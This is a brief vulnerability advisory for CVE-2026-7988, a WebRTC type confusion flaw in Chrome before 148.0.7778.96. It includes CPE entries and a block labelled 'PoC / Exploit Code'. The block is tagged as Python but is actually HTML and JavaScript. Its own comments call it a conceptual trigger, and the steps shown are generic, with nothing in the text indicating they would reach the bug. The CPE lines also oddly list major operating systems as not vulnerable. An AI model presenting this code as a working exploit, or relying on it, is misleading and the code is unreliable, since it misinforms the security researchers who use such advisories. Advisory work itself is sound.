Type Confusion in WebRTC in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-7988 -->
<!-- Conceptual trigger for WebRTC Type Confusion -->
<!DOCTYPE html>
<html>
<body>
<script>
// Attacker sets up a malicious RTCPeerConnection
const peerConnection = new RTCPeerConnection();
// Attempt to manipulate internal objects to cause type confusion
// (Specific heap grooming and object layout required for actual exploitation)
try {
// Create a data channel which might be involved in the confusion
const dc = peerConnection.createDataChannel("exploit");
// Malformed operation to trigger the bug
let maliciousObj = {};
Object.setPrototypeOf(maliciousObj, dc);
// Trigger the vulnerability path
peerConnection.close();
} catch (e) {
console.log("Exploit attempt failed: " + e.message);
}
</script>
<p>CVE-2026-7988 PoC Loaded</p>
</body>
</html>